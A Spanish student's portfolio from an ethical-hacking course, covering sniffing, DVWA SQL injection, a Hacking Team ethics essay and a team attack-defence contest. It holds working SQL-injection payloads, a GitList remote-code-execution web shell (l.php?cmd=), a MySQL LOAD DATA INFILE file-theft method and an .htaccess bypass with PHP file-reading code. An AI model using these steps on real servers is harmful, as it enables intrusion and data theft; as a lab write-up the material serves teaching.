TAREA FINAL

Bueno, con gran pena por mi parte hemos llegado al final del Curso de Hacking Etico de Mondragon Unibertsitatea y en esta Tarea Final voy a recoger todas las actividades que he realizado durante el curso:

Unidad 1, Tarea 1.

Podeis ver AQUÍ la Tarea. En ella aprendí que el primer paso para llevar a cabo un ataque de hacking es la recopilación de información del sistema a atacar y aprendí a utilizar algunas de las herramientas mas interesantes en ese sentido como son: PING, WHOIS y NMAP.

Unidad 1, Tarea 2.

Podeis ver AQUÍ la Tarea. En ella di a conocer tres sitios web relacionados con la tematica Hacking que suelo visitar habitualmente.

Unidad 1, Tarea 3.

Podéis ver AQUÍ la Tarea. Esta tarea fue nuestra introducción a la Criptografía y para realizarla conté con la colaboración de mi compañera de curso Inmaculada Rodríguez.

Aprendí en qué consiste el sistema de cifrado OpenPGP, a crear mi propio certificado con el software Kleopatra y realicé la practica de enviar un mensaje encriptado a mi compañera y la de desencriptar una mensaje que ella me habia enviado a mi.

Unidad 2, Tarea 1.

Podéis ver AQUÍ la Tarea. En esta tarea hemos aprendido qué es un Sniffer, se trata de un programa que aprovechando la capacidad de nuestra tarjeta de red para trabajar en modo “promiscuo” va interceptando todos los paquetes que viajando por la red pasan por la tarjeta, incluso aunque estos nos vayan dirigidos a nosotros.

Uno de los Sniffers mas conocidos es el Wireshark y con el hemos realizado una practica consistente en analizar los paquetes capturados durante una sesión de Telnet.

Telnet es un protocolo utilizado para conectarnos remotamente a un servidor y desde el punto de vista de la seguridad es un protocolo muy débil ya que envía la información sin encriptar a través de la red. Esto ha quedado patente, ya que analizando los paquetes capturados por el sniffer no ha sido difícil obtener datos como el usuario y password o los comandos utilizados durante la sesión de Telnet, así como el sistema operativo de la maquina.

Unidad 2, Tarea 2.

Podéis ver AQUÍ la Tarea. Esta tarea me ha resultado de las mas interesantes y en ella hemos trabajado y aprendido varios conceptos. La Tarea consistía en realizar a un ataque mediante la técnica de SQL Injection con el objetivo de conseguir el usuario y password necesarios para hacer login en una web.

Lo primero que hemos tenido que hacer ha sido preparar el servidor a atacar. Hemos utilizado el software Virtual Box para instalar en nuestro propio equipo una maquina virtual que hará de servidor de la web que debemos hackear.

Este servidor aloja una web afectada por un fallo de seguridad, debido a que su programador no ha tenido en cuenta que un usuario malintencionado puede aprovechar el formulario de login para inyectar condigo SQL y provocar un funcionamiento indebido de la Web.

Siguiendo las instrucciones de la Tarea hemos ido realizando diversas consultas a la base de datos de la web, de esta forma hemos ido conociendo datos sobre la estructura de la Base de Datos, sus Tablas y finalmente hemos conseguido los usuarios y contraseñas que buscábamos, eso si, las contraseñas estaban encriptadas con lo que (de momento) no nos servían de mucho.

Por ultimo hemos aprendido a utilizar el programa John the Ripper con el cual hemos podido desencriptar por el método de Fuerza Bruta las passwords obtenidas anteriormente.

Unidad 2, Tarea 3.

Podéis ver AQUÍ la Tarea. En esta tarea hemos aprovechado el reciente caso del hackeo sufrido por la empresa de Seguridad Informática Hacking Team para reflexionar sobre la Ética Hacker.

He hecho un resumen del caso y he analizado las distintas motivaciones que han podido llevar a cada uno de los actores a actuar de la forma en que lo ha hecho, llegando a la siguiente conclusión:

Como conclusión, podemos decir que las herramientas de hacking en sí no son buenas ni malas, si no que al igual que ocurre con el fuego o la energía atómica, está en las manos del ser humano el hacer buen o mal uso de ellas. Aunque exista una “filosofía hacker” según la cual el objetivo de los ataques de hacking debe ser el estudio y la mejora de los sistemas y nunca  el hacer daño por que sí u obtener beneficio personal (dinero, fama…), hay que pensar que la Seguridad Informática es un negocio multimillonario que puede hacer que los fines altruistas queden relegados a un segundo plano. Si lo pensamos bien no es tan raro, no hay mas que pensar en sectores como el de la sanidad (farmacéuticas, etc) o la alimentación.

Unidad 2, Tarea 4.

Podéis ver AQUí la Tarea. Esta Tarea 4 de la Unidad 2 del Curso de Hacking Etico de Mondragon Unibertsitatea que consiste en realizar un pequeño resumen de las tareas 1, 2 y 3 de esta Unidad.

Unidad 2, ENIGMA.

El enigma consistÍa en descifrar un archivo (enigma.txt.pgp) que se encontraba encriptado mediante un protocolo asimétrico, eso significaba que no se requerían una clave publica y una privada, si no una única clave.

Para obtener esa clave debíamos hackear la web http://pruebas.euskalert.net y como nos advertía Yoda la clave se encontraba dentro de la Tabla Guestbook.

Asi que todo apuntaba a que la técnica a utilizar seria la de SQL Injection, así que sigo las instrucciones de la Tarea 2 de la Unidad 2.

El primer paso fue loguearnos (admin/password) en la web y bajar el nivel de seguridad a LOW.

Enigma01

Después entramos en el apartado de SQL Injection y comenzamos a inyectar código SQL para ir obteniendo información sobre la estructura y las tablas de la Base de Datos.

Introduciendo el siguiente código obtenemos el listado de tablas de la Base de Datos, en el que vemos como efectivamente hay una tabla denominada guestbook.

  • %’ and 1=0 union select null, table_name from information_schema.tables #

Enigma02

Con el siguiente código obtenemos los campos de la tabla guestbook, que son comment_id, comment y name.

  • %’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘guestbook’ #

Enigma03

Con el siguiente código vamos a ver los registros que contiene la tabla guestbook y entre ellos vemos un comentario que dice los siguiente: The key is “use the force”, Luke. que podríamos traducir como: La clave es “use the force”, Luke. Así que parece que esta podría ser la clave necesaria para desencriptar el archivo enigma.txt.pgp.

  • %’ and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #

Enigma04

Ahora abrimos el programa Kleopatra, vamos a File, Decrypt/Verify Files y seleccionamos el archivo enigma.txt.pgp. y cuando nos lo pida introduciremos la contraseña use the force. Como todo ha ido bien obtenemos el mensaje de Decryption Succeeded!!!.

Enigma05

Y en el directorio que hemos seleccionado previamente nos encontramos con el archivo (enigma.txt) desencriptado que contiene el siguiente mensaje:

Enigma06

ENIGMA RESUELTO!!!!

Unidad 3: EL RETO.

Por fin llegamos al apartado final del curso, en el que debemos mostrar los conocimientos adquiridos (y muchos mas…).

Tengo que decir que ha sido instructivo, divertido y sobre todo un placer participar en este RETO con mis compañeros de grupo de los que he aprendido un monton y con los que he comenzado una cyber-amistad que espero se mantenga en el tiempo.

Nuestro grupo lo bautizamos como RH- HE y lo formamos siguiendo criterios geograficos. Sus miembros son:

  • Jon Villate (yo)
  • Josu Barandalla
  • Kepa Balenciaga (Lider)
  • Ramon Nafarrate Ormaetxea
  • Igor Gaminde
  • Ladis Calparsoro
  • Itoitz Biain Arakistain
  • Unai Larrañaga

Nuestro servidor tenia asignada la IP: 128.199.56.199.

SEMANA 1 DEFENSA

La primera semana del RETO consistía en estudiar nuestro propio servidor e intentar reforzarlo todo lo posible para evitar ser Hackeados. Concretamente debíamos proteger 3 archivos y para ello realizamos las siguientes acciones.

Lo primero que hago es comprobar que tengo acceso al servidor. Con el software Putty me conecto a la IP por SSH y me logueo como root sin problema.

Ahora intentare obtener algunos datos del sistema: dmesg | less

Linux version 3.2.0-4-686-pae (debian-kernel@lists.debian.org) (gcc version 4.6.3 (Debian 4.6.3-14) ) #1 SMP Debian 3.2.65-1+deb7u1

Vamos a hacer un pequeño diagnostico del estado del servidor a través de la consola SSH:

  • uname -a: nos dice la version de kernel, procesador, y nombre de sistema

Reto03

  • df: nos muestra la ocupación del disco duro y vemos que no hay problemas de espacio.

Reto04

  • free: nos muestra el uso de la memoria y tampoco hay problemas de memoria.

Reto05

  • netstat -a: nos muestra las conexiones de red actuales

Reto02

Ahora iré probando las técnicas que hemos ido aprendiendo durante el curso de Hacking Ético.

  • PING: El ping a la dirección IP del servidor responde. Como medida de seguridad privacidad se podría deshabilitar la respuesta a PING, aunque para este caso concreto del reto no tiene mucho sentido ya que a nuestros enemigos se les facilitara nuestra IP y saben de cierto que tras ella se encuentra una maquina que tienen que atacar.
  • WHOIS: esta herramienta no tiene cabida en este reto ya que no tenemos ningún dominio registrado asociado a nuestro servidor.
  • NMAP: El resultado de un NMAP básico es este:

Reto01

Como vemos, nuestro servidor tiene 4 puertos abiertos (857 cerrados y 139 filtrados), estos son:

  • 21 FTP: El puerto 21 es el utilizado para el protocolo FTP (File Transfer Protocol). Se trata de un protocolo utilizado para la transferencia de ficheros entre 2 maquinas, una de las cuales hace de servidor y la otra de cliente. Se trata de un protocolo muy eficiente de cara a la velocidad de transferencia (siempre utiliza la máxima velocidad disponible). Sin embargo desde el punto de vista de la seguridad es un protocolo muy débil ya que todo el trasiego de información (incluido usuario y password) viajan en texto plano sin encriptar con lo que si alguien captura el trafico obtendría sin problema los datos de acceso. Un primer paso podría ser proteger este servicio.

También compruebo que esta habilitado el FTP anónimo, esto es que cualquiera que se conecte a nuestro servidor por FTP podrá acceder a uno de los archivos del Reto, así que configuramos el FTP para que pida usuario y contraseña.

  • 22 SSH: El puerto 22 es el utilizado habitualmente el protocolo SSH (Secure Shell), se trata de un protocolo para acceder a maquinas remotas a través de la red y poder trabajar en ellas como si físicamente estuviéramos allí. La información que se intercambia viaja por la red de forma cifrada. Es posible atacar este protocolo mediante ataques de REPLAY.
  • 80 HTTP: El puerto 80 se utiliza habitualmente para el protocolo HTTP (HyperText Transfer Protocol) lo que conocemos popularmente como servicio web, es un protocolo para que un cliente pueda acceder a las paginas web alojadas en un servidor.
  • 1720 H323Q931: El protocolo H323 es utilizado para sesiones de comunicación audiovisual a través de la red, comúnmente sesiones de video conferencia, llamadas por de Voz-IP. Este protocolo es utilizado habitualmente por programas como Netmeeting. El Q931 es un protocolo de control de las conexiones de telefonía digital.

Ademas de todo esto, la organización del RETO nos informa de que nuestro servidor tiene instaladas 2 aplicaciones Web:

  • Cacti: Se trata de una aplicación que tiene una base de datos en la que los datos se van guardando de forma cronológica y luego la aplicación permite generar distintos tipos de gráficas con los datos almacenados. La forma de acceder a nuestro Cacti es http://128.199.56.199/cacti/index.php aunque no tenemos usuario y contraseña…
  • GitList: Parece tratarse de un Visor web de repositorios para gestionar las distintas versiones de un programa. Para acceder http://128.199.56.199/gitlist/ . No pide logearse.

Acciones de Defensa.

  • Lo primero que hicimos fue actualizar el servidor con el comando apt-get upgrade, ademas con esto el Gitlist tambien fue actualizado.
  • Deshabilitamos el usuario anonymous del FTP. Con esta acción protegiamos directamente uno de los archivos a conseguir, el mooc-hacking-team-0021-level-02.gpg.
  • Siguiendo las instrucciones del Consejo Jedi personalizamos la web de nuestro servidor.
  • Buscamos los archivos a proteger que se encontraban en:
    1. /srv/ftp/mooc-hacking-team-0021-level-02.gpg
    2. /usr/share/doc/base-files/mooc-hacking-team-0021-level-01.gpg
    3. /var/lib/mysql/mooc-hacking-team-0021-level-03.gpg
  • Modificamos las contraseñas de los servicios:
    1. ssh=> user: root pass: ***aiextin***
    2. mysql => user:root pass:***aiextin***
    3. cacti => user:admin pass:***aiextin***
  • Actualizamos Cacti a la versión 0.8.8f.

SEMANA 2. ATAQUE.

Sabiendo que las maquinas enemigas eran idénticas a la nuestra nos lanzamos al ataque a por los archivos que sabíamos donde se encontraban.

  • Comenzamos recorriendo los servidores en busca del usuario anonymous activo en los FTP, de esta forma conseguimos uno de los archivos en bastantes servidores.
  • La siguiente acción consistió en buscar servidores cuya versión de Gitlist fuera inferior a la 0.4 ya que estos Gitlist están afectados por una vulnerabilidad que permite la ejecución de código remotamente. Para ello utilizamos el script https://www.exploit-db.com/exploits/33929/ que nuestro compañero  Itoitz subió al servidor, al directorio /root con el nombre atack1.

Se invoca de la siguiente manera desde la línea de comandos: 

root@team-0021:~# python atack1 http://188.166.125.226/gitlist/gitlist

Lo que responde lo siguiente:

Using cache location /var/www/gitlist/cache

Shell dropped; go hit http://188.166.125.226/gitlist/cache/l.php?cmd=ls

Ahora desde el navegador accedes a esta dirección:

http://188.166.125.226/gitlist/cache/l.php?cmd=ls

Y os mostrará la lista de ficheros de la carpeta. si detrás de cmd pones cualquier comando de linux os mostrará el resultado. Por ejemplo para ver los archivos que hay en /srv/ftp:

http://188.166.125.226/gitlist/cache/l.php?cmd=ls /srv/ftp

y nos muestra:

mooc-hacking-team-0055-level-02.gpg

y ahora para ver su contenido

http://188.166.125.226/gitlist/cache/l.php?cmd=cat /srv/ftp/mooc-hacking-team-0055-level-02.gpg

Con este ataque se consiguieron 69 archivos de nivel uno y dos de varios equipos.

  • La siguiente acción tiene como objetivo la obtención de los archivos de nivel 3, para ello necesitamos privilegios de mysql por eso utilizaremos consultas en mysql para obtener la información.

El usuario,contraseña y nombre de base de datos lo sacamos de /usr/share/cacti/site/include/config.php utilizando el primer ataque.

Una vez que tengamos usuario,contraseña y nombre de la base de datos ya podemos hacer consultas en mysql.

Las consultas que haremos son las siguientes:

1.- Crear una tabla con nombre TEMP donde guardaremos los datos

create table temp(a blob)”;

2.- Llenar la tabla con los datos que nos interesan por ejemplo

LOAD DATA INFILE /var/lib/mysql/mooc-hacking-team-0071-level-03.gpg INTO TABLE temp;

3.- Leer los datos que hay en la tabla

SELECT * FROM temp;

4.- Borrar la tabla para que otros no la vean

DROP TABLE temp;

Todo esto se puede hacer uno a uno por comandos pero por facilitar la tarea nuestro compañero Itoitz ha creado el script “atack3”

Se usa de la siguiente manera:

python atack3 178.62.246.186

Da como resultado:

Using cache location /var/www/gitlist/cache

Shell dropped; go hit http://178.62.246.186/gitlist/cache/d.php

Y ahora accedemos desde navegador a:

http://178.62.246.186/gitlist/cache/d.php

Que nos mostrará el contenido del archivo:

/var/lib/mysql/mooc-hacking-team-0071-level-03.gpg —–BEGIN PGP MESSAGE—–Version: GnuPG v1hQEMAwTqD96R8ATzAQf/ewN8cSE3i5qPUg6apopzDSnISlMpOfjvrY9NIq80nei6lccQYgm+2rA5yB7tKPNxdF8XslPLQI5KVOKbnqneczo7nBP8q7Fq0trMc1VZ6trLmlW3Ec7elc5gUKx2hBnOCGZro9SVkC3e9YrjhChaM5JV4HmNyN4FAp/l3crp/o03JhnE6rz15u6BFXnGvgoj3TGv0At2/LcVxI5WcaebrFmdndzH+DoRMSpeiEWaNuMJW+onu5lwjvH3M93Vo2dbXJ9J0OaD9qZ5/nPRz1gRijdCvJrgSgsoUQoVUtGlFFKpoybt1cLUtFNjbNk2c1KypCz42keR/UVOlSBk0GS+JdLA6QEQ4BrUxrL3uqkhxWtxBXImmsCX9/2WIxx5k/zVKyYDn1XOQmr/TRb12AXOToqgoKDD/JV5o1TYj0p2EdL3IqfEk5HkDGSw+DVcTDu9glJZtS/e3l7hKWJ41zR4ioxNSIgLs/zBGCNVnzLBe+VAQooSAjyRXz6QGBOXBToN+4vm+eTS3ttOV8xmOOMSOVNMZP4olM2+pWmdUmGSadX/A+cKelMtYbQgTMw++3CqGGJpHsOHAJRnPGw+/FmvzB34xNA013UpifP8NB4YMPbCQPxinsO/Qw6BtqjT5KnDGGvraffkG/sSRXf7kBZlTcpPg+2RYERCE1gbBl7kPs5Ie/UBKqEhmGK1uCV0aAD5q1HedEqKWRf5enBnfxwhOfS5uV039KbXw72VVf1S08Rlw1pfgYY/0RGsx47gPwygOQmyXmOA902dVFuFx84FjXeVgWqBkgbLaUj2CwMfsi0AdeG/bLzLKAQAJXhGYDtoqn8ZZC8FvQvFIuaswd4DFo2g/VpNGhAvGbZaz37iUMmQQ+jM7IGdjhuvmN59BnQKADBct/BFjXvmTufl=gZ4b—–END PGP MESSAGE—–

  • Por ultimo realizamos un ataque concreto al grupo BOUNTY HUNTERS en venganza por su acción de “Deface” a nuestro servidor.

El ataque que hacemos con el script “atack1” (el de nuestra segunda acción) se basa en la vulnerabilidad que tiene gitlist que permite escribir y leer archivos en la carpeta /var/www/gitlist/cache.

Los de este equipo habían deshabilitado los permisos de lectura desde el servidor web Apache para no poder leer los archivos de esa carpeta con lo cual el ataque ya no funciona y queda protegido. O eso pensaban…..

Aun y todo el servidor permitía subir archivos con lo cual hicimos lo siguiente:

Modificar el atack1 para subir un archivo con nombre “.htaccess

“.htaccess” define los permisos de esa carpeta para el servidor

E incluir dentro lo siguiente:

<Files ~ “^\.ht”>

Order allow,deny

Allow from all

</Files>

Esto le dice al servidor que nos deje leer los archivos que empiecen con “.ht”, así que ahora ya nos podemos saltar la restricción de lectura que habían puesto en el servidor. Ahora toca hacer el atack1 pero con el siguiente nombre “.htl.php” para que el nombre empieze con “.ht” y podamos ejecutarlo.

El siguiente problema es que en PHP también han deshabilitado un montón de funciones y comandos. Por lo tanto no deja hacer muchas cosas como: ls, cat, cmd, execetc..

la lista completa de lo que no está permitido se obtiene con.

$disabled_functions = ini_get(‘disable_functions’);

Así que nos hemos tenido que hacer nuestras funciones ls, cat etc.. en php. Por ejemplo “ls” quedaria asi:

<?php

$dir = ‘$nombre_directorio’;

$files1 = scandir($dir);

print_r($files1);

?>

y el “cat” quedaria tal que asi:

<?php

$file = fopen(“$nombre_directorio”,”r”);

while(! feof($file))

{

echo fgets($file). “<br />”;

}

fclose($file);

?>

Ahora ya podemos ver los directorios y leer el contenido de los archivos.

Con esto finaliza mi participación en el Curso de Hacking Ético de Mondragon Unibertsitatea. Dar las gracias Mondragon Unibertsitatea, al resto de participantes y sobre todo a mis compañeros del grupo RH- HE.

TAREA FINAL

Unidad 2, Tarea 4

Esta Tarea 4 de la Unidad 2 del Curso de Hacking Etico de Mondragon Unibertsitatea que consiste en realizar un pequeño resumen de las tareas 1, 2 y 3 de esta Unidad. Vamos a ello:

Tarea 1: Capturando trafico con Wireshark.

En esta tarea hemos aprendido qué es un Sniffer, se trata de un programa que aprovechando la capacidad de nuestra tarjeta de red para trabajar en modo “promiscuo” va interceptando todos los paquetes que viajando por la red pasan por la tarjeta, incluso aunque estos nos vayan dirigidos a nosotros.

Uno de los Sniffers mas conocidos es el Wireshark y con el hemos realizado una practica consistente en analizar los paquetes capturados durante una sesión de Telnet.

Telnet es un protocolo utilizado para conectarnos remotamente a un servidor y desde el punto de vista de la seguridad es un protocolo muy débil ya que envía la información sin encriptar a través de la red. Esto ha quedado patente, ya que analizando los paquetes capturados por el sniffer no ha sido difícil obtener datos como el usuario y password o los comandos utilizados durante la sesión de Telnet, así como el sistema operativo de la maquina.

Podéis ver la Tarea 1 completa AQUÍ.

Tarea 2: SQL Injection.

Esta tarea me ha resultado de las mas interesantes y en ella hemos trabajado y aprendido varios conceptos. La Tarea consistía en realizar a un ataque mediante la técnica de SQL Injection con el objetivo de conseguir el usuario y password necesarios para hacer login en una web.

Lo primero que hemos tenido que hacer ha sido preparar el servidor a atacar. Hemos utilizado el software Virtual Box para instalar en nuestro propio equipo una maquina virtual que hará de servidor de la web que debemos hackear.

Este servidor aloja una web afectada por un fallo de seguridad, debido a que su programador no ha tenido en cuenta que un usuario malintencionado puede aprovechar el formulario de login para inyectar condigo SQL y provocar un funcionamiento indebido de la Web.

Siguiendo las instrucciones de la Tarea hemos ido realizando diversas consultas a la base de datos de la web, de esta forma hemos ido conociendo datos sobre la estructura de la Base de Datos, sus Tablas y finalmente hemos conseguido los usuarios y contraseñas que buscábamos, eso si, las contraseñas estaban encriptadas con lo que (de momento) no nos servían de mucho.

Por ultimo hemos aprendido a utilizar el programa John the Ripper con el cual hemos podido desencriptar por el método de Fuerza Bruta las passwords obtenidas anteriormente.

Podeís ver la Tarea 2 completa AQUÍ.

Tarea 3: Reflexión sobre la Ética Hacker.

En esta tarea hemos aprovechado el reciente caso del hackeo sufrido por la empresa de Seguridad Informática Hacking Team para reflexionar sobre la Ética Hacker.

He hecho un resumen del caso y he analizado las distintas motivaciones que han podido llevar a cada uno de los actores a actuar de la forma en que lo ha hecho, llegando a la siguiente conclusión:

Como conclusión, podemos decir que las herramientas de hacking en sí no son buenas ni malas, si no que al igual que ocurre con el fuego o la energía atómica, está en las manos del ser humano el hacer buen o mal uso de ellas. Aunque exista una “filosofía hacker” según la cual el objetivo de los ataques de hacking debe ser el estudio y la mejora de los sistemas y nunca  el hacer daño por que sí u obtener beneficio personal (dinero, fama…), hay que pensar que la Seguridad Informática es un negocio multimillonario que puede hacer que los fines altruistas queden relegados a un segundo plano. Si lo pensamos bien no es tan raro, no hay mas que pensar en sectores como el de la sanidad (farmacéuticas, etc) o la alimentación.

Podeis ver la Tarea 3 completa AQUÍ.

Unidad 2, Tarea 4

Unidad 2, Tarea 3

Siguiendo con el curso de Hacking Etico de Mondragon Unibertsitatea vamos a bordar la Tarea 3 de la Unidad 2, la cual consiste en reflexionar sobre la Etica Hacker utilizando como trasfondo el reciente caso de Hackeo sufrido por la empresa de seguridad Hacking Team.

Etica01

Este es el resumen de lo ocurrido:

Hacking Team es una empresa de “Seguridad Informática” radicada en Milán (Italia) y cuya principal fuente de ingresos es un software llamado Da Vinci, cuya utilidad es la de controlar remotamente sistemas informáticos. Este software puede ser considerado como una herramienta de Hacking ya que utilizando diversos agujeros de seguridad es capaz de espiar distintos tipos de dispositivos (ordenadores, tabletas, smartphones…) con distintos sistemas operativos (Windows, Linux, Android, Mac, IOS…), puede espiar desde una persona hasta a miles de ellas y entre las cosas que hace están sacar pantallazos, registrar conversaciones a través del microfono o webcam, grabar conexiones por Skype, registrar conversaciones de Whatsapp, leer correo electrónico e incluso puede desencriptar comunicaciones cifradas. Como veis una herramienta potentísima que si cae en malas manos puede hacer un daño terrible.

Como os podéis imaginar una herramienta así no esta al alcance de cualquiera y los principales clientes de la empresa Hacking Team son servicios de inteligencia de distintos paises que la utilizan supuestamente con fines legítimos de seguridad nacional y que gastan en ella cientos de miles de euros.

Recientemente un Hacker denominado a si mismo Phineas Fisher ha logrado hackear los servidores de la empresa Hacking Team obteniendo 400GB de información que ademas ha hecho públicos, con el consiguiente escándalo debido a que entre los datos filtrados se encuentra la lista de clientes y el dinero que se les ha facturado por los “servicios prestados”. Entre estos datos también se encuentra el código fuente del software Da Vinci.

Etica02

Lo que mas a alarmado de la información publicada no ha sido ver que clientes como el Gobierno de México han gastado en Hacking Team mas de 5 millones de euros o que el CNI español mas de 3 millones, si no que entre los “clientes” se encuentren países con un cuestionable concepto de los derechos humanos (p. ejem. Sudan), cosa que la empresa negaba que hiciera.

En definitiva, en este caso nos encontramos con tres grupos de “Hackers” (si es que se les puede llamar así), cada uno con sus motivaciones y sus dilemas eticos (si es que los tienen).

  • Hacking Team: Una empresa de Seguridad Informática que por lo que vemos se ha regido por criterios puramente comerciales. Si bien por un lado han realizado una  soberbia labor técnica de hacking, por otro han demostrado ser muy poco seguros (en casa del herrero…) guardando su cartera de clientes (que no son cualquiera, son gobiernos!!!) en una simple tabla excel sin ningún tipo de protección criptográfica, ademas de su total falta de ética vendiendo su producto a países de la Lista Negra de la ONU que se sabe que entre otras cosas han utilizado el software por ejemplo en contra de la libertad de prensa, espiando a asociaciones de prensa contrarias a sus regímenes (Marruecos).
  • Gobiernos del Mundo: Los distintos gobiernos que han hecho uso de Da Vinci tienen como objetivo mantener la seguridad nacional y para ello utilizan técnicas de Hacking para espiar a los “malos”, en este sentido parece que la acción está justificada, sin embargo veo algunas lagunas… Por un lado ¿no deberían los gobiernos tener sus propios hackers, igual que tienen sus propios espías o su propio ejercito?, no sería serio que un país le alquile el ejercito a otro o peor aun, a una empresa privada (a la que tu enemigo también pueda contratar). Ademas, ¿no debería un gobierno auditar a sus proveedores, sobre todo en un caso tan delicado como la defensa y asegurarse de que su proveedor no provee también al enemigo?, así mismo debería asegurarse de que una empresa que maneja información tan delicada tenga un sistema de seguridad a la altura de la situación (en el caso de Hacking Team esta claro que no…).  Por ultimo tenemos el eterno dilema de ¿quien controla al controlador? ¿A quien dan cuentas estas instituciones? ¿Como sabemos que solo han utilizado Da Vinci para espiar a delincuentes y no para vigilar en general a la población (ciudadanos, adversarios políticos, empresas…) y recortar libertades u obtener beneficios personales? En nuestro país para realizar una escucha telefónica recordemos que es necesario el permiso de un juez… Por si fuera poco, en el código fuente publicado se encuentran trazas que muestran la capacidad de Da Vinci para colocar archivos de pedofilia en el dispositivo espiado… (funcionalidad solicitada por algunos clientes) ¿quizás con el objetivo de justificar el espionaje ante un juez si fuera necesario?

Fragmento de codigo:

path = hash[:path] || [”C:\\Utenti\\pippo\\pedoporno.mpg”, “C:\\Utenti\\pluto\\Documenti\\childporn.avi”, “C:\\secrets\\bomb_blueprints.pdf”].sample

  • Phineas Fisher: Por ultimo, tememos al culpable de que ahora estemos hablando de todo esto: el hacker Phineas Fisher. A nivel técnico no tenemos datos sobre como consiguió la información (a prometido revelarlo mas adelante), sin embargo por la gran cantidad de datos obtenidos (400GB!!!) es posible que se haya tratado de un robo “físico” haciéndose con un disco duro o accediendo “físicamente” a algún ordenador de la empresa Hacking Team y copiándose los datos a un Disco externo. Pero en cuanto a su motivación, en mi opinión hay tres hipótesis principales:

Venganza: Podría tratarse un un miembro (o ex-miembro) de Hacking Team cuyo propósito es el de vengarse de la empresa que lo ha menospreciado, despedido, etc.

Competencia: En el mundo de la Seguridad Informática hay una guerra despiadada por conseguir los mejores clientes (los que mas pueden pagar) y seguro que algunas empresas han salido beneficiadas con este escándalo. Incluso podrían haber contratado a algún trabajador de Hacking Team para hacer el trabajo sucio.

Filosofia Full Disclosure: En castellano se traduciría como Revelación Completa y es una ética muy extendida en el mundo Hacker. Se basa en la idea de que los “malos” suelen tener la información, así que cuando un hacker “ético” la consigue (información) debe hacerla pública con todo detalle para que todos estemos en las mismas condiciones. Esto hace que haya transparencia, que todos dispongamos de toda la información (no solo algunos privilegiados) y así podamos obrar con conocimiento y en consecuencia. Esta podría haber sido también una de las motivaciones que han llevado a Phineas Fisher a publicar los datos de Hacking Team.

Como conclusión, podemos decir que las herramientas de hacking en sí no son buenas ni malas, si no que al igual que ocurre con el fuego o la energía atómica, está en las manos del ser humano el hacer buen o mal uso de ellas. Aunque exista una “filosofía hacker” según la cual el objetivo de los ataques de hacking debe ser el estudio y la mejora de los sistemas y nunca  el hacer daño por que sí u obtener beneficio personal (dinero, fama…), hay que pensar que la Seguridad Informática es un negocio multimillonario que puede hacer que los fines altruistas queden relegados a un segundo plano. Si lo pensamos bien no es tan raro, no hay mas que pensar en sectores como el de la sanidad (farmacéuticas, etc) o la alimentación.

Unidad 2, Tarea 3

Unidad 2, Tarea 2

SQL INJECTION

Usa la técnica SQL INJECTION para obtener información relevante sobre la estructura de una base de datos.

La practica consistirá en atacar un sistema vulnerable a técnicas de SQL Injection, esta técnica nos permite hacer consultas en una base de datos del sistema de forma que podríamos obtener información de la misma como por ejemplo usuarios y contraseñas.

En realidad este tipo de ataques se pueden intentar en cualquier web en la que el usuario pueda introducir un texto (por ejemplo en un formulario) ya que el texto que introduzca el usuario es susceptible de contener código SQL y si el programador de la web no ha tenido en cuenta esto, ese código podría provocar un comportamiento inesperado de la web. Un programador debe considerar como potencialmente peligrosa cualquier información que su aplicación requiera del exterior.

El Sistema que vamos a atacar será un Sistema Virtual instalado en nuestro propio ordenador, para ello utilizaremos un software de virtualización como Virtual Box, este software nos permitirá instalar Sistemas Operativos “Virtuales” dentro de un Sistema operativo “Real”, es decir si nuestro ordenador tiene instalado un SO Windows7 (SO Real) podríamos instalar (dentro de el) con Virtual Box otro SO, por ejemplo Ubuntu como si estuviera en otra maquina.

Lo primero es descargarnos el software Virtual Box para nuestro Sistema Operativo “Real” e instalarlo: https://www.virtualbox.org/wiki/Downloads

Por otro lado nos descargamos la Maquina Virtual que nos propone el Curso y la instalamos: https://mondragon.box.com/dvwa7z

Una vez instalada arrancamos la maquina pulsando Iniciar.

SQL01

Anotamos la direccion IP que se ha asignado al sistema Virtual, en este caso 192.168.56.101.

Ahora accedemos a través de un navegador a la dirección http://192.168.56.101/login.php .

Lo que tenemos aquí es una aplicación web llamada Dawn Vulnerable Web App. Esta aplicación esta programada con PHP y MySQL y es vulnerable a un ataque de SQL Injection, lo cual quiere decir que podemos realizar consultas en su Base de Datos. Esta aplicación ha sido creada expresamente para que los estudiantes de Seguridad Informática podamos llevar a cabo nuestras practicas en un entorno legal.

Ahora vamos a hacer lo siguiente:

  1. Con el nivel de seguridad en “Low” vamos a introducir en el campo User ID un codigo SQL del tipo Siempre True. Esto consiste en que el código que inyectemos contenga una consulta SQL en el que una de las condiciones se cumpla siempre (Always True).
  2. Obtendremos el username y el password (encriptado en formato raw-MD5) de la tabla users.
  3. Utilizaremos el software John the Ripper para crackear el password de cada usuario.

Para conseguir esto seguiremos los pasos que se nos indican en los puntos 7, 8 y 9 de ESTE ARTICULO.

1. La aplicación nos pide que introduzcamos un User ID en la casilla y al enviar el formulario la aplicación nos devolverá el User ID, el First Name y el Surname del User ID que hayamos introducido. Esto es así porque el botón submit ejecuta la siguiente consulta SQL:

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
Donde $id es el valor que nosotros hemos introducido. De esta forma, si introducimos el valor 1 obtendremos esto:

SQL02

2. El siguiente paso es utilizar la técnica de “Always True”, para ello tenemos que hacer que el apartado WHERE de la consulta siempre se cumpla por ejemplo diciendo que el User ID sea cualquier cosa (nos da igual que esto nunca se cumpla) O (OR) que 0 sea igual a 0 (0=0), de esta forma como la segunda parte sera True (siempre es cierto que 0 es igual a 0) la consulta nos devolverá todos los registros de la tabla Users.

En la practica lo que introduciríamos en la casilla seria:  %’ or ‘0’=’0 y con ello la consulta SQL sería:

SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′

Esto nos devolverá:

SQL03

3. Introduciendo el siguiente código podemos obtener la versión de la base de datos MySQL:

%’ or 0=0 union select null, version() #

SQL04

4. Mediante el siguiente código obtenemos el usuario de la base de datos:

%’ or 0=0 union select null, user() #

SQL05

5. Mediante el siguiente código obtenemos el Nombre de la Base de Datos:

%’ or 0=0 union select null, database() #

SQL06

6. Con este código obtenemos todas las tablas de la Base de Datos:

%’ and 1=0 union select null, table_name from information_schema.tables #

No pego la imagen por que la lista de tablas es bastante larga, pero por el nombre ya intuimos que hay algunas que nos pueden interesar mas como la la tabla Users y Guestbook.

